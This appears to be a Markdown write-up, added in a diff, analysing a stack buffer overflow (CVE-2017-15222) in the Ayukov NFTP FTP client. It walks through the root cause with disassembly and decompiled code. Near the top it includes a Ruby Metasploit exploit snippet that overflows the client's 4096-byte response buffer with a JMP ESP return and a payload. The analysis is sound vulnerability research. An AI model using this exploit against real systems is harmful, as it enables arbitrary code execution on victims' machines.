|
| 1 | +# Ayukov NFTP FTP Client Stack Buffer Overflow Analysis |
| 2 | + |
| 3 | +## Introduction |
| 4 | + |
| 5 | +Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in |
| 6 | +2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it |
| 7 | +handles the server input. |
| 8 | + |
| 9 | +The exploit was tested on Windows XP SP3 (English). |
| 10 | + |
| 11 | +## Vulnerable Application |
| 12 | + |
| 13 | +The vulnerable copy can be [downloaded from Exploit-DB](https://www.exploit-db.com/apps/a766d928899200ed6a21f7c790b5cbe5-nftp-1.71-i386-win32.exe). |
| 14 | + |
| 15 | +## PoC |
| 16 | + |
| 17 | +A submission was made to Metasploit as [PR #9360](https://github.com/rapid7/metasploit-framework/pull/9360). Here's an example of how to crash the FTP client: |
| 18 | + |
| 19 | +```ruby |
| 20 | + # Let the client log in |
| 21 | + client.get_once |
| 22 | + |
| 23 | + user = "331 OK.\r\n" |
| 24 | + client.put(user) |
| 25 | + |
| 26 | + client.get_once |
| 27 | + pass = "230 OK.\r\n" |
| 28 | + client.put(pass) |
| 29 | + |
| 30 | + sploit = "A"*4116 |
| 31 | + sploit << [target.ret].pack('V') # JMP ESP here |
| 32 | + sploit << "\x90"*16 |
| 33 | + sploit << payload.encoded |
| 34 | + sploit << "C" * (15000 - 4116 - 4 - 16 - payload.encoded.length) |
| 35 | + sploit << "\r\n" |
| 36 | + |
| 37 | + client.put(sploit) |
| 38 | + |
| 39 | + client.get_once |
| 40 | + pwd = "257\r\n" |
| 41 | + client.put(pwd) |
| 42 | + client.get_once |
| 43 | +``` |
| 44 | + |
| 45 | +## Root Cause Analysis |
| 46 | + |
| 47 | +When serving the PoC against the vulnerable app, the client's command prompt shows: |
| 48 | + |
| 49 | +``` |
| 50 | +12:28:43 331 OK. |
| 51 | +12:28:43 USER anonymous |
| 52 | +12:28:43 230 OK. |
| 53 | +12:28:43 Successfully logged in as '[email protected]' |
| 54 | +12:28:43 SYST |
| 55 | +12:28:43 .................. Lots of AAAAAs here ..................... |
| 56 | +12:28:43 TYPE I |
| 57 | +12:28:43 257 |
| 58 | +``` |
| 59 | + |
| 60 | +The interesting part here is that when the client sends a ```SYST``` request, the server responds |
| 61 | +with a long string of data attempting to cause a crash. This would be a good starting point to |
| 62 | +investigate the root cause. |
| 63 | + |
| 64 | +With IDA Pro, we can tell that the ```SYST``` string is at the following location: |
| 65 | + |
| 66 | +``` |
| 67 | +.text:004096B6 ; char aSyst[] |
| 68 | +.text:004096B6 aSyst db 'SYST',0 ; DATA XREF: sub_409978+B8Co |
| 69 | +``` |
| 70 | + |
| 71 | +When we cross reference, we can tell this is used by the ```OpenControlConnection``` function. |
| 72 | +Although there is no symbol to identify the actual function name "OpenControlConnection", the |
| 73 | +debugging message at the beginning of the function is a big hint: |
| 74 | + |
| 75 | +```C |
| 76 | +int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>) |
| 77 | +{ |
| 78 | + sub_45AF40(savedregs); |
| 79 | + *(_DWORD *)&name.sa_data[10] = a2; |
| 80 | + *(_DWORD *)&name.sa_data[6] = a3; |
| 81 | + *(_DWORD *)&name.sa_data[2] = a1; |
| 82 | + if ( !dword_477AEC ) |
| 83 | + sub_419B4C(1); |
| 84 | + while ( 1 ) |
| 85 | + { |
| 86 | + while ( 1 ) |
| 87 | + { |
| 88 | + do |
| 89 | + { |
| 90 | + sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]); |
| 91 | + ... |
| 92 | +``` |
| 93 | +
|
| 94 | +Anyway, inside the OpenControlConnection function, we can see that the ```SYST``` command is |
| 95 | +requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this |
| 96 | +way): |
| 97 | +
|
| 98 | +``` |
| 99 | +.text:0040A504 push offset aSyst ; "SYST" |
| 100 | +.text:0040A509 lea eax, [ebp+charResBuffer] |
| 101 | +.text:0040A50F push eax ; charResBuffer |
| 102 | +.text:0040A510 lea eax, [ebp+args] |
| 103 | +.text:0040A516 push eax ; int |
| 104 | +.text:0040A517 push 0 ; int |
| 105 | +.text:0040A519 call SendFTPRequest |
| 106 | +``` |
| 107 | +
|
| 108 | +Inside the SendFTPRequest function, it looks like this: |
| 109 | +
|
| 110 | +```C |
| 111 | +int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...) |
| 112 | +{ |
| 113 | + char *v4; // ebx@0 |
| 114 | + int v5; // edi@0 |
| 115 | + int v6; // esi@0 |
| 116 | + char *v7; // edx@1 |
| 117 | + char Dst[16384]; // [esp+18h] [ebp-4000h]@2 |
| 118 | + char *savedregs; // [esp+4018h] [ebp+0h]@1 |
| 119 | + va_list va; // [esp+4030h] [ebp+18h]@1 |
| 120 | +
|
| 121 | + va_start(va, Format); |
| 122 | + sub_45AF40(savedregs); |
| 123 | + savedregs = v4; |
| 124 | + v7 = Format; |
| 125 | + if ( Format ) |
| 126 | + { |
| 127 | + v4 = Dst; |
| 128 | + // This actually checks the input for the FTP command from the client. |
| 129 | + // The 0x4000u indicates the string should not be longer than that, otherwise |
| 130 | + // there will be a buffer overflow warning in this function. |
| 131 | + snprintf1(Dst, 0x4000u, Format, va); |
| 132 | + v7 = Dst; |
| 133 | + } |
| 134 | + return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7); |
| 135 | +} |
| 136 | +``` |
| 137 | + |
| 138 | +We were able to tell the second argument for ```SendFTPRequest``` is actually a buffer for receiving |
| 139 | +the server's response, because the way it is used: |
| 140 | + |
| 141 | +```C |
| 142 | +result = SendFTPRequest(0, (int)args, charResBuffer, "SYST"); |
| 143 | +if ( result == -4 ) |
| 144 | + return result; |
| 145 | +if ( result ) |
| 146 | + goto LABEL_231; |
| 147 | +if ( *(_DWORD *)args == 2 ) |
| 148 | +{ |
| 149 | + sub_445CEC(charResBuffer); |
| 150 | + if ( strstr(charResBuffer, "unix") ) |
| 151 | + { |
| 152 | + if ( strstr(charResBuffer, "powerweb") ) |
| 153 | + { |
| 154 | + *(_DWORD *)dword_47B1E0 = 6; |
| 155 | + goto LABEL_206; |
| 156 | + } |
| 157 | + } |
| 158 | +... |
| 159 | +``` |
| 160 | +
|
| 161 | +In addition, this buffer is actually on the stack, and it's 4096 long: |
| 162 | +
|
| 163 | +``` |
| 164 | +-00001010 charResBuffer db 4096 dup(?) |
| 165 | +``` |
| 166 | +
|
| 167 | +This means that if the server responds with something longer than 4096 bytes for the ```SYST``` request, |
| 168 | +the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of |
| 169 | +```OpenControlConnection```, the ```RETN``` ends up loading the corrupt data, which may lead to |
| 170 | +arbitrary code execution: |
| 171 | +
|
| 172 | +``` |
| 173 | +.text:0040AC39 lea esp, [ebp-2048h] |
| 174 | +.text:0040AC3F pop ebx |
| 175 | +.text:0040AC40 pop esi |
| 176 | +.text:0040AC41 pop edi |
| 177 | +.text:0040AC42 leave |
| 178 | +.text:0040AC43 retn |
| 179 | +``` |
| 180 | +
|
| 181 | +Since whoever is using ```SendFTPRequest``` is responsible for providing the buffer of the server |
| 182 | +response, and there are 47 other cross-references, it is possible there are different ways to |
| 183 | +trigger the same bug. And since it doesn't look like there is a patch (because the product is |
| 184 | +no longer in active development, from the exploit developer's perspective, it is not necessary |
| 185 | +to look for other ways to exploit it). |
| 186 | +
|
| 187 | +## References |
| 188 | +
|
| 189 | +https://nvd.nist.gov/vuln/detail/CVE-2017-15222 |
0 commit comments